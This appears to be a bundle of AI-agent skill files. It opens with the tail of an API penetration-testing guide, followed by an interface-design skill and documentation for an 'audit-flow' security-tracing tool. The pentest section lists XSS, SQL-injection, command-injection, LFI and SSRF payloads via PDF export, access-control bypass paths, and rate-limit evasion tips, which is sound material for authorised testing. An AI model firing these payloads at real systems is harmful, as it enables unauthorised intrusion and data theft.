endpoint\nhttp://target.com/graphql?query={user(name:\"<script>alert(1)</script>\"){id}}\n\n# URL-encoded XSS\nhttp://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E\n```\n\n### GraphQL Tools\n\n| Tool | Purpose |\n|------|---------|\n| GraphCrawler | Schema discovery |\n| graphw00f | Fingerprinting |\n| clairvoyance | Schema reconstruction |\n| InQL | Burp extension |\n| GraphQLmap | Exploitation |\n\n---\n\n## Endpoint Bypass Techniques\n\nWhen receiving 403/401, try these bypasses:\n\n```bash\n# Original blocked request\n/api/v1/users/sensitivedata → 403\n\n# Bypass attempts\n/api/v1/users/sensitivedata.json\n/api/v1/users/sensitivedata?\n/api/v1/users/sensitivedata/\n/api/v1/users/sensitivedata??\n/api/v1/users/sensitivedata%20\n/api/v1/users/sensitivedata%09\n/api/v1/users/sensitivedata#\n/api/v1/users/sensitivedata&details\n/api/v1/users/..;/sensitivedata\n```\n\n---\n\n## Output Exploitation\n\n### PDF Export Attacks\n\n```html\n<!-- LFI via PDF export -->\n<iframe src=\"file:///etc/passwd\" height=1000 width=800>\n\n<!-- SSRF via PDF export -->\n<object data=\"http://127.0.0.1:8443\"/>\n\n<!-- Port scanning -->\n<img src=\"http://127.0.0.1:445\"/>\n\n<!-- IP disclosure -->\n<img src=\"https://iplogger.com/yourcode.gif\"/>\n```\n\n### DoS via Limits\n\n```bash\n# Normal request\n/api/news?limit=100\n\n# DoS attempt\n/api/news?limit=9999999999\n```\n\n---\n\n## Common API Vulnerabilities Checklist\n\n| Vulnerability | Description |\n|---------------|-------------|\n| API Exposure | Unprotected endpoints exposed publicly |\n| Misconfigured Caching | Sensitive data cached incorrectly |\n| Exposed Tokens | API keys/tokens in responses or URLs |\n| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |\n| IDOR / BOLA | Broken Object Level Authorization |\n| Undocumented Endpoints | Hidden admin/debug endpoints |\n| Different Versions | Security gaps in older API versions |\n| Rate Limiting | Missing or bypassable rate limits |\n| Race Conditions | TOCTOU vulnerabilities |\n| XXE Injection | XML parser exploitation |\n| Content Type Issues | Switching between JSON/XML |\n| HTTP Method Tampering | GET→DELETE/PUT abuse |\n\n---\n\n## Quick Reference\n\n| Vulnerability | Test Payload | Risk |\n|---------------|--------------|------|\n| IDOR | Change user_id parameter | High |\n| SQLi | `' OR 1=1--` in JSON | Critical |\n| Command Injection | `; ls /` | Critical |\n| XXE | DOCTYPE with ENTITY | High |\n| SSRF | Internal IP in params | High |\n| Rate Limit Bypass | Batch requests | Medium |\n| Method Tampering | GET→DELETE | High |\n\n---\n\n## Tools Reference\n\n| Category | Tool | URL |\n|----------|------|-----|\n| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |\n| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |\n| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |\n| API Security | apicheck | github.com/BBVA/apicheck |\n| API Discovery | Kiterunner | github.com/assetnote/kiterunner |\n| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |\n| API Toolkit | APIKit | github.com/API-Security/APIKit |\n| API Keys | API Guesser | api-guesser.netlify.app |\n| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |\n| GraphQL | InQL | github.com/doyensec/inql |\n| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |\n| GraphQL | graphw00f | github.com/dolevf/graphw00f |\n| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |\n| GraphQL | batchql | github.com/assetnote/batchql |\n| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |\n| Wordlists | SecLists | github.com/danielmiessler/SecLists |\n| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |\n| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |\n| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |\n| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |\n\n---\n\n## Constraints\n\n**Must:**\n- Test mobile, web, and developer APIs separately\n- Check all API versions (/v1, /v2, /v3)\n- Validate both authenticated and unauthenticated access\n\n**Must Not:**\n- Assume same security controls across API versions\n- Skip testing undocumented endpoints\n- Ignore rate limiting checks\n\n**Should:**\n- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend\n- Check archive.org for historical API endpoints\n- Test for race conditions on sensitive operations\n\n---\n\n## Examples\n\n### Example 1: IDOR Exploitation\n\n```bash\n# Original request (own data)\nGET /api/v1/invoices/12345\nAuthorization: Bearer <token>\n\n# Modified request (other user's data)\nGET /api/v1/invoices/12346\nAuthorization: Bearer <token>\n\n# Response reveals other user's invoice data\n```\n\n### Example 2: GraphQL Introspection\n\n```bash\ncurl -X POST https://target.com/graphql \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"{__schema{types{name,fields{name}}}}\"}'\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |\n| 401 on all endpoints | Try adding `?user_id=1` parameter |\n| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |\n| Rate limited | Use IP rotation or batch requests |\n| Can't find endpoints | Check Swagger, archive.org, JS files |\n\n<!-- File: skills/api-shape-explorer/SKILL.md (Tokens: ~707 | Category: anthropic-skill) -->\n---\nname: api-shape-explorer\ndescription: Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface options, compare module shapes, or mentions \"design it twice\".\n---\n\n# Design an Interface\n\nBased on \"Design It Twice\" from \"A Philosophy of Software Design\": your first idea is unlikely to be the best. Generate multiple radically different designs, then compare.\n\n## Workflow\n\n### 1. Gather Requirements\n\nBefore designing, understand:\n\n- [ ] What problem does this module solve?\n- [ ] Who are the callers? (other modules, external users, tests)\n- [ ] What are the key operations?\n- [ ] Any constraints? (performance, compatibility, existing patterns)\n- [ ] What should be hidden inside vs exposed?\n\nAsk: \"What does this module need to do? Who will use it?\"\n\n### 2. Generate Designs (Parallel Sub-Agents)\n\nSpawn 3+ sub-agents simultaneously using Task tool. Each must produce a **radically different** approach.\n\n```\nPrompt template for each sub-agent:\n\nDesign an interface for: [module description]\n\nRequirements: [gathered requirements]\n\nConstraints for this design: [assign a different constraint to each agent]\n- Agent 1: \"Minimize method count - aim for 1-3 methods max\"\n- Agent 2: \"Maximize flexibility - support many use cases\"\n- Agent 3: \"Optimize for the most common case\"\n- Agent 4: \"Take inspiration from [specific paradigm/library]\"\n\nOutput format:\n1. Interface signature (types/methods)\n2. Usage example (how caller uses it)\n3. What this design hides internally\n4. Trade-offs of this approach\n```\n\n### 3. Present Designs\n\nShow each design with:\n\n1. **Interface signature** - types, methods, params\n2. **Usage examples** - how callers actually use it in practice\n3. **What it hides** - complexity kept internal\n\nPresent designs sequentially so user can absorb each approach before comparison.\n\n### 4. Compare Designs\n\nAfter showing all designs, compare them on:\n\n- **Interface simplicity**: fewer methods, simpler params\n- **General-purpose vs specialized**: flexibility vs focus\n- **Implementation efficiency**: does shape allow efficient internals?\n- **Depth**: small interface hiding significant complexity (good) vs large interface with thin implementation (bad)\n- **Ease of correct use** vs **ease of misuse**\n\nDiscuss trade-offs in prose, not tables. Highlight where designs diverge most.\n\n### 5. Synthesize\n\nOften the best design combines insights from multiple options. Ask:\n\n- \"Which design best fits your primary use case?\"\n- \"Any elements from other designs worth incorporating?\"\n\n## Evaluation Criteria\n\nFrom \"A Philosophy of Software Design\":\n\n**Interface simplicity**: Fewer methods, simpler params = easier to learn and use correctly.\n\n**General-purpose**: Can handle future use cases without changes. But beware over-generalization.\n\n**Implementation efficiency**: Does interface shape allow efficient implementation? Or force awkward internals?\n\n**Depth**: Small interface hiding significant complexity = deep module (good). Large interface with thin implementation = shallow module (avoid).\n\n## Anti-Patterns\n\n- Don't let sub-agents produce similar designs - enforce radical difference\n- Don't skip comparison - the value is in contrast\n- Don't implement - this is purely about interface shape\n- Don't evaluate based on implementation effort\n\n<!-- File: skills/audit-flow/COMMANDS.md (Tokens: ~2461 | Category: anthropic-skill) -->\n# Audit Flow Commands\n\nDetailed SQL commands for the audit-flow skill.\n\n**CRITICAL: Read `schema.sql` before running ANY SQLite command.** Understand tables, columns, constraints, CHECK values, and views FIRST. Never assume schema from context.\n\n## Database Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py init\n# Or manually:\nmkdir -p .audit && sqlite3 .audit/audit.db < .claude/skills/audit-flow/schema.sql\n```\n\n## Session Management\n\n### Create Session\n\nFirst capture git context:\n\n```bash\ngit_commit=$(git rev-parse HEAD 2>/dev/null || echo \"\")\ngit_branch=$(git branch --show-current 2>/dev/null || echo \"\")\ngit_dirty=$(test -n \"$(git status --porcelain 2>/dev/null)\" && echo 1 || echo 0)\n```\n\nThen create session:\n\n```sql\nINSERT INTO sessions (id, name, purpose, description, granularity, git_commit, git_branch, git_dirty)\nVALUES (\n    lower(hex(randomblob(8))),\n    '{name}',\n    '{purpose}',  -- security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\n    '{description}',\n    '{granularity}',  -- fine | coarse\n    '{git_commit}',\n    '{git_branch}',\n    {git_dirty}  -- 0 or 1\n);\n```\n\n### List Sessions\n\n```sql\nSELECT * FROM v_session_summary ORDER BY created_at DESC;\n```\n\n## Flow Management\n\n### Create Flow\n\n```sql\nINSERT INTO flows (session_id, name, entry_point, description)\nVALUES (\n    '{session_id}',\n    '{flow-name}',\n    '{entry point description}',\n    '{optional description}'\n);\n```\n\n### List Flows in Session\n\n```sql\nSELECT * FROM v_flow_summary WHERE session_id = '{session_id}';\n```\n\n## Tuple Operations\n\n### Add Tuple\n\n```sql\nINSERT INTO tuples (flow_id, layer, action, subject, file_ref, props, notes, status)\nVALUES (\n    {flow_id},\n    '{layer}',      -- CODE | API | NETWORK | AUTH | DATA\n    '{action}',     -- e.g., \"onClick handler\"\n    '{subject}',    -- e.g., \"LoginButton\"\n    '{file_ref}',   -- e.g., \"src/components/LoginButton.tsx:24\"\n    '{}',           -- JSON props\n    '{notes}',\n    'traced'        -- traced | verified | concern | deleted\n);\n```\n\n### View Tuples\n\n```sql\n-- All tuples in flow\nSELECT id, layer, action, subject, file_ref, status\nFROM tuples WHERE flow_id = {flow_id} AND status != 'deleted'\nORDER BY timestamp;\n\n-- Filter by layer\nSELECT * FROM tuples WHERE flow_id = {flow_id} AND layer = 'AUTH';\n\n-- View concerns\nSELECT * FROM v_concerns WHERE flow_name = '{flow_name}';\n```\n\n### Update Tuple Status\n\n```sql\nUPDATE tuples SET status = 'concern' WHERE id = {id};\nUPDATE tuples SET status = 'deleted' WHERE id = {id};  -- Soft delete\n```\n\n## Edge Operations\n\n### Linear Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({from_id}, {to_id}, '{relation}');\n-- Relations: TRIGGERS | READS | WRITES | VALIDATES | TRANSFORMS\n```\n\n### Branching Edge (with condition)\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES\n    ({branch_point}, {path_a}, 'BRANCHES', 'condition A'),\n    ({branch_point}, {path_b}, 'BRANCHES', 'condition B');\n```\n\n### Merging Edge\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES ({converging_tuple}, {merge_point}, 'MERGES');\n```\n\n### View Edges\n\n```sql\nSELECT e.*, t1.action as from_action, t2.action as to_action\nFROM edges e\nJOIN tuples t1 ON e.from_tuple = t1.id\nJOIN tuples t2 ON e.to_tuple = t2.id\nWHERE t1.flow_id = {flow_id};\n```\n\n### Detect Non-Linear Points\n\n```sql\nSELECT * FROM v_branch_merge_points WHERE flow_name = '{flow_name}';\n```\n\n## Findings\n\n### Add Finding\n\n```sql\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    '{session_id}',\n    {flow_id},      -- Optional: NULL for session-level finding\n    '{severity}',   -- critical | high | medium | low | info\n    '{category}',   -- e.g., \"token-storage\", \"auth-bypass\"\n    '{description}',\n    '[1, 2, 3]'     -- JSON array of tuple IDs\n);\n```\n\n### View Findings\n\n```sql\n-- By severity\nSELECT * FROM findings WHERE session_id = '{session_id}'\nORDER BY CASE severity\n    WHEN 'critical' THEN 1 WHEN 'high' THEN 2\n    WHEN 'medium' THEN 3 WHEN 'low' THEN 4 ELSE 5\nEND;\n\n-- Flow-specific findings\nSELECT * FROM findings WHERE flow_id = {flow_id};\n```\n\n## Export\n\n### Using CLI\n\n```bash\n# Export all flows in session\npython .claude/skills/audit-flow/scripts/audit.py export {session}\n\n# Export specific flow\npython .claude/skills/audit-flow/scripts/audit.py export {session} -f {flow}\n\n# Export specific format\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n```\n\n## Validation\n\n### Validate Flow Data\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py validate {session}\n```\n\nChecks for common issues before export:\n\n| Check             | Level | Description                                  |\n| ----------------- | ----- | -------------------------------------------- |\n| Branch conditions | ERROR | BRANCHES edges must have condition labels    |\n| Orphan nodes      | WARN  | Nodes with no edges (disconnected from flow) |\n| Duplicate labels  | WARN  | Multiple nodes with same action text         |\n| Node count > 40   | WARN  | Diagram readability threshold                |\n| Node count > 60   | ERROR | Diagram must be split into sub-flows         |\n| No entry point    | WARN  | No node with zero in-degree                  |\n\n### Output Structure\n\n```\ndocs/audits/{session-name}/\n├── README.md           # Session summary\n├── session.json        # Full session data\n├── session.yaml        # Full session data (YAML)\n├── {flow-name}.md      # Flow report\n└── {flow-name}.mermaid # Flow diagram\n```\n\n### Mermaid Output Features\n\n- **Step numbering**: Topological BFS order from entry point\n- **Entry point marker**: Green stadium-shape node (`([label]):::entryPoint`)\n- **Layer subgraphs**: Nodes sorted by step number within each layer\n- **Relation-specific arrows**:\n  - `-->` solid: TRIGGERS, VALIDATES, TRANSFORMS, BRANCHES, MERGES\n  - `-.->` dotted: READS (data consumption, no mutation)\n  - `==>` thick: WRITES (data mutation)\n- **Observation separation**: Pure concern chains in OBSERVATIONS subgraph\n- **Branch conditions**: Always shown on edge labels\n- **Label deduplication**: Duplicate actions auto-suffixed with subject\n- **Legend**: Style key at bottom of diagram\n- **Direction**: Default TD, override with `--direction LR`\n\n### Export with Direction\n\n```bash\n# Default top-down\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid\n\n# Horizontal layout for wide decision trees\npython .claude/skills/audit-flow/scripts/audit.py export {session} -F mermaid --direction LR\n```\n\nExample output:\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n    classDef observation fill:#ffd43b,stroke:#fab005,stroke-dasharray:5 5\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n        L3[\"Concern\"]:::concern\n    end\n```\n\n## Git Merge Driver\n\n### Setup (once per clone)\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nConfigures:\n\n- `merge.sqlite-audit.driver` — auto-merges `audit.db` on `git merge`\n- `diff.sqlite.textconv` — shows SQL dump in `git diff`\n\nRequires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How the merge driver works\n\nGit calls: `audit.py db-merge %O %A %B`\n\n- `%O` = common ancestor (unused — full union merge)\n- `%A` = ours (result written here)\n- `%B` = theirs\n\nThe driver:\n\n1. Opens both SQLite DBs directly\n2. Merges sessions by `name` (later `updated_at` wins)\n3. Flows follow parent session winner\n4. Tuples/edges follow parent flow\n5. Findings deduped by `(session_name, category, description)`\n6. All INTEGER PKs remapped; foreign keys updated\n7. Result written to `%A`, exit 0 = success\n\n### Manual merge (if needed)\n\n```bash\n# If the auto-driver fails (exit 1), merge manually:\npython .claude/skills/audit-flow/scripts/audit.py db-merge ancestor.db ours.db theirs.db\n```\n\n## CSV Backup (Optional)\n\nCSV commands still available for backup/portability:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # CSV → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge CSV sets\n```\n\nCSV uses `QUOTE_ALL`, deterministic PK sort, multiline-safe (RFC 4180).\n\n## Views Reference\n\n| View                    | Purpose                                 |\n| ----------------------- | --------------------------------------- |\n| `v_session_summary`     | Sessions with flow/tuple/finding counts |\n| `v_flow_summary`        | Flows with tuple/concern counts         |\n| `v_layer_distribution`  | Layer breakdown per flow                |\n| `v_concerns`            | All tuples marked as concern            |\n| `v_branch_merge_points` | Non-linear nodes (branches/merges)      |\n\n<!-- File: skills/audit-flow/EXAMPLES.md (Tokens: ~2532 | Category: anthropic-skill) -->\n# Audit Flow Examples\n\n## Case 0: Non-Linear API Flow (Branching & Merging)\n\n```\n> /audit-flow start\nName: api-auth-audit\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow api-request\nEntry: \"Frontend makes authenticated API call\"\n```\n\n### Flow with Branching\n\n```\n[CODE]    fetch API         → apiClient.ts:45\n[AUTH]    check token       → authMiddleware.ts:12\n  ├─[BRANCHES: token valid]──→ [AUTH] proceed\n  └─[BRANCHES: token expired]──→ [AUTH] refresh token\n                                      │\n[AUTH]    refresh token     → tokenService.ts:88\n          │\n          └─[MERGES]──→ [API] call endpoint\n[API]     call endpoint     → handler.ts:156\n[DATA]    return response   → serializer.ts:23\n```\n\n### SQL for Branching\n\n```sql\n-- Create branch point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'check token', 'authMiddleware');  -- ID: 2\n\n-- Create branch targets\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'AUTH', 'proceed', 'valid path'),          -- ID: 3\n(1, 'AUTH', 'refresh token', 'tokenService');  -- ID: 4\n\n-- Branch edges with conditions\nINSERT INTO edges (from_tuple, to_tuple, relation, condition) VALUES\n(2, 3, 'BRANCHES', 'token valid'),\n(2, 4, 'BRANCHES', 'token expired');\n\n-- Merge point\nINSERT INTO tuples (flow_id, layer, action, subject) VALUES\n(1, 'API', 'call endpoint', 'handler');        -- ID: 5\n\n-- Merge edges\nINSERT INTO edges (from_tuple, to_tuple, relation) VALUES\n(3, 5, 'TRIGGERS'),\n(4, 5, 'MERGES');\n```\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph CODE\n        T1([\"1. fetch API\"]):::entryPoint\n    end\n    subgraph AUTH\n        T2[\"2. check token\"]\n        T3[\"3. proceed\"]\n        T4[\"4. refresh token\"]\n    end\n    subgraph API\n        T5[\"5. call endpoint\"]\n    end\n    subgraph DATA\n        T6[\"6. return response\"]\n    end\n\n    T1 -->|\"TRIGGERS\"| T2\n    T2 -->|\"BRANCHES<br/>token valid\"| T3\n    T2 -->|\"BRANCHES<br/>token expired\"| T4\n    T3 -->|\"TRIGGERS\"| T5\n    T4 -->|\"MERGES\"| T5\n    T5 -.->|\"READS\"| T6\n\n    classDef entryPoint fill:#2ecc71,stroke:#27ae60,stroke-width:3px\n    classDef concern fill:#ff6b6b,stroke:#c92a2a\n\n    subgraph Legend\n        L1([\"Entry point\"]):::entryPoint\n        L2[\"Flow step\"]\n    end\n```\n\n---\n\n## Case 1: Auth Login Flow (Security Audit)\n\n```\n> /audit-flow start\nName: auth-login-security\nPurpose: security-audit\nGranularity: fine\n\n> /audit-flow flow google-oauth\nEntry: \"User clicks Sign in with Google\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onClick handler         → src/components/LoginButton.tsx:24\n[AUTH]    OAuth redirect          → redirect to identity provider\n[NETWORK] GET /oauth/authorize    → IdP authorization endpoint\n[AUTH]    authz code received     → callback handler\n[NETWORK] POST /oauth/token       → token exchange\n[AUTH]    access_token issued     → {scopes, expiry, claims}\n[DATA]    JWT decoded             → extract org_id, user_id\n[CODE]    setSession()            → store token in memory/cookie\n[AUTH]    token in headers        → Authorization: Bearer\n[NETWORK] GET /api/me             → validate token backend\n[CODE]    middleware validates    → services/auth/middleware.go:56\n[DATA]    user context built      → {org, project, permissions}\n```\n\n### Security Checks\n\nMark as `concern` and create findings for:\n\n| Check         | What to look for                                            | Severity |\n| ------------- | ----------------------------------------------------------- | -------- |\n| Token storage | localStorage (bad) vs httpOnly cookie (good) vs memory (ok) | high     |\n| Token logging | console.log, error handlers leaking tokens                  | critical |\n| PKCE          | code_verifier/code_challenge present?                       | high     |\n| Refresh flow  | Refresh token rotation? Secure storage?                     | high     |\n| Token expiry  | Short-lived access tokens? Proper refresh?                  | medium   |\n| CORS          | Proper origin validation?                                   | medium   |\n\n### Sample Findings\n\n```sql\nINSERT INTO findings (session_id, severity, category, description, tuple_refs)\nVALUES\n('auth-login-security', 'high', 'token-storage',\n 'Access token stored in localStorage instead of httpOnly cookie - vulnerable to XSS', '[7]'),\n('auth-login-security', 'medium', 'token-logging',\n 'Token visible in Redux DevTools state - disable in production', '[7]');\n```\n\n---\n\n## Case 1b: Observations vs Flow Steps (Anti-Pattern)\n\n### Wrong: Chaining Observations as Tuples\n\nWhen you discover a security concern, do NOT create observation tuples chained with VALIDATES:\n\n```sql\n-- WRONG: These are analyst notes, not system actions\nINSERT INTO tuples (flow_id, layer, action, subject, status) VALUES\n(1, 'CODE', 'NO cross-tab sync', 'TabManager', 'concern'),          -- T10\n(1, 'AUTH', 'Replay attack possible', 'tokenService', 'concern');    -- T11\n\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (10, 11, 'VALIDATES');  -- WRONG: creates unreadable concern chain\n```\n\nThis produces diagrams where analyst notes are indistinguishable from system flow steps.\n\n### Correct: Use Findings\n\n```sql\n-- CORRECT: Observation recorded as a finding\nINSERT INTO findings (session_id, flow_id, severity, category, description, tuple_refs)\nVALUES (\n    'my-session', 1, 'medium', 'concurrency',\n    'No cross-tab synchronization: replay attack possible when multiple tabs refresh tokens simultaneously',\n    '[196, 226, 227]'  -- References the ACTUAL flow tuples where the issue manifests\n);\n```\n\nFindings appear in the Markdown export report, not cluttering the visual flow diagram.\n\n---\n\n## Case 2: Chat Question Flow (Documentation)\n\n```\n> /audit-flow start\nName: chat-documentation\nPurpose: documentation\nGranularity: coarse\n\n> /audit-flow flow question-to-results\nEntry: \"User submits question in chat UI\"\n```\n\n### Expected Trace\n\n```\n[CODE]    onSubmit handler        → src/components/ChatInput.tsx\n[NETWORK] POST /api/chat/stream   → chat service\n[AUTH]    token validated         → middleware extracts org_id, project_id\n[API]     chat service receives   → services/chat/main.py\n[DATA]    load project context    → knowledge-base service\n[API]     agent invoked           → services/chat/agent/\n[DATA]    schema lookup           → get relevant tables/columns\n[CODE]    SQL generation          → agent node\n[NETWORK] POST /analytics/query   → analytics service\n[DATA]    query execution         → OLAP engine\n[DATA]    results transform       → format for frontend\n[NETWORK] SSE stream              → chunked response to frontend\n[CODE]    render results          → ChatMessage component\n```\n\n### Documentation Output\n\nThe export should produce:\n\n- Sequence diagram of service interactions\n- Data flow: question → SQL → results\n- Auth context propagation across services\n\n### Mermaid Output\n\n```mermaid\nflowchart TD\n    subgraph Frontend\n        A[ChatInput.tsx]\n        M[ChatMessage]\n    end\n\n    subgraph Chat Service\n        B[POST /api/chat/stream]\n        C[Auth Middleware]\n        D[AI Agent]\n        E[SQL Generator]\n    end\n\n    subgraph Knowledge Service\n        F[Project Context]\n        G[Schema Lookup]\n    end\n\n    subgraph Analytics Service\n        H[POST /analytics/query]\n        I[OLAP Engine]\n    end\n\n    A -->|TRIGGERS| B\n    B -->|VALIDATES| C\n    C -->|TRIGGERS| D\n    D -->|READS| F\n    D -->|READS| G\n    D -->|TRIGGERS| E\n    E -->|TRIGGERS| H\n    H -->|READS| I\n    I -->|TRANSFORMS| M\n```\n\n---\n\n## Case 3: Flow Ideation (Design New Feature)\n\n```\n> /audit-flow start\nName: export-feature-design\nPurpose: ideation\nGranularity: coarse\n\n> /audit-flow flow csv-export\nEntry: \"User clicks Export to CSV on results\"\n```\n\n### Sketched Flow (no code yet)\n\n```\n[CODE]    export button click     → ExportButton component (to create)\n[API]     POST /api/export        → new endpoint needed\n[AUTH]    check export permission → new permission type?\n[DATA]    fetch cached results    → from Redis? or re-query?\n[CODE]    CSV formatter           → new util function\n[NETWORK] stream file download    → chunked response\n[CODE]    browser download trigger→ blob URL\n```\n\n### Ideation Questions (record as notes)\n\nAdd these as `notes` on relevant tuples:\n\n| Tuple                         | Question                                                   |\n| ----------------------------- | ---------------------------------------------------------- |\n| DATA: fetch cached results    | Cache strategy: Redis TTL? Re-query for freshness?         |\n| API: POST /api/export         | Rate limit exports? Per-user? Per-project?                 |\n| AUTH: check export permission | New permission: `project:export`? Or reuse `project:read`? |\n| NETWORK: stream file download | Large results: stream or paginate? Memory limits?          |\n| CODE: CSV formatter           | Support other formats? xlsx, json, parquet?                |\n\n### Design Decisions to Document\n\nAfter ideation, convert key decisions to implementation notes:\n\n```sql\nUPDATE tuples SET props = json_set(props, '$.decision', 'Use Redis with 15min TTL, re-query if expired')\nWHERE id = 4;\n\nUPDATE tuples SET props = json_set(props, '$.decision', 'Stream results, 10MB max per export')\nWHERE id = 6;\n```\n\n---\n\n## Static Analysis Guidelines\n\n**Code reading only. No runtime instrumentation.**\n\n### What to Follow\n\n- Import statements (module dependencies)\n- Function calls (especially cross-service)\n- API client invocations (fetch, axios, http clients)\n- Auth middleware chains (decorators, middleware arrays)\n- Data transformations (serializers, formatters)\n\n### Security Patterns to Flag\n\n| Pattern                             | Risk                | Severity |\n| ----------------------------------- | ------------------- | -------- |\n| `console.log(token)`                | Token leakage       | critical |\n| `localStorage.setItem('token',...)` | XSS vulnerability   | high     |\n| String concatenation in SQL         | SQL injection       | critical |\n| `dangerouslySetInnerHTML`           | XSS                 | high     |\n| Missing auth middleware             | Auth bypass         | critical |\n| Hardcoded secrets                   | Credential exposure | critical |\n| `eval()`, `new Function()`          | Code injection      | critical |\n\n<!-- File: skills/audit-flow/SKILL.md (Tokens: ~3866 | Category: anthropic-skill) -->\n---\nname: audit-flow\ndescription: Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.\nlicense: MIT\ncompatibility: Requires Python 3.8+ (stdlib only, zero dependencies). Optional pyyaml for YAML export. Git for merge/diff driver features.\nmetadata:\n  author: ArunJRK\n  version: \"1.0.0\"\n---\n\n## ⚠️ MANDATORY ENTRY POINT — Execute Before ANY Other Action\n\n**Step 1: Read schema.sql**\n\n```bash\n# ALWAYS read the schema first to understand tables, constraints, views\ncat .claude/skills/audit-flow/schema.sql\n```\n\n**Step 2: Check if DB exists — NEVER recreate**\n\n```bash\n# Check for existing database\nls -la .audit/audit.db 2>/dev/null && echo \"DB EXISTS - DO NOT RECREATE\" || echo \"No DB - safe to init\"\n```\n\n**Step 3: If DB exists, show current state**\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py list\n```\n\n### 🚫 FORBIDDEN ACTIONS\n\n| Action                                                | Why Forbidden            |\n| ----------------------------------------------------- | ------------------------ |\n| `rm .audit/audit.db`                                  | Destroys audit history   |\n| `audit.py init` when DB exists                        | Overwrites existing data |\n| `DROP TABLE`                                          | Destroys audit history   |\n| `sqlite3 .audit/audit.db < schema.sql` when DB exists | Overwrites existing data |\n\n**Rule:** If `.audit/audit.db` exists, ONLY use `audit.py list`, `show`, `export`, or INSERT operations. NEVER recreate.\n\n---\n\n# Audit Flow\n\nInteractive tracing of system flows with SQLite persistence. Supports multiple named flows per session, non-linear flows (branching/merging), and multi-format exports.\n\n## Organization Principles\n\n**Directory structure by purpose:**\n\n- **Audits/Documentation/Compliance:** `docs/audits/{name}-{YYYY-MM-DD}/`\n- **Ideation/Brainstorming:** `docs/ideation/{name}-{YYYY-MM-DD}.md` (single file, no subdirectory unless artifacts needed)\n- **Debugging/Incident Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures evidence)\n- **Architecture Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures structural analysis)\n\n**Required files:**\n\n- INDEX.md (manifest, entry point)\n- README.md (executive summary)\n- {name}-audit.md (flow trace)\n\n**Lazy initialization:** Create subdirectories only when artifacts exist\n\n- `screenshots/` `network-traces/` `diagrams/` `code-samples/` `test-results/` `evidence/`\n\n**Naming:** `{audit-name}-{type}.md`\n\n## DB-First Discipline\n\n**Invariant:** SQLite = sole source of truth. Context window: volatile, compacts without notice, hallucinates state.\n\n**🚨 CRITICAL: NEVER DESTROY EXISTING DATA**\n\n- If `.audit/audit.db` exists → it contains irreplaceable audit history\n- NEVER run `init` when DB exists — use `list` to see what's there\n- NEVER delete, drop, or recreate — only append\n\n**Constraints:**\n\n| Operation   | Rule                                                                                      | Blocked rationalization              |\n| ----------- | ----------------------------------------------------------------------------------------- | ------------------------------------ |\n| **Entry**   | Read `schema.sql` FIRST, check if DB exists SECOND                                  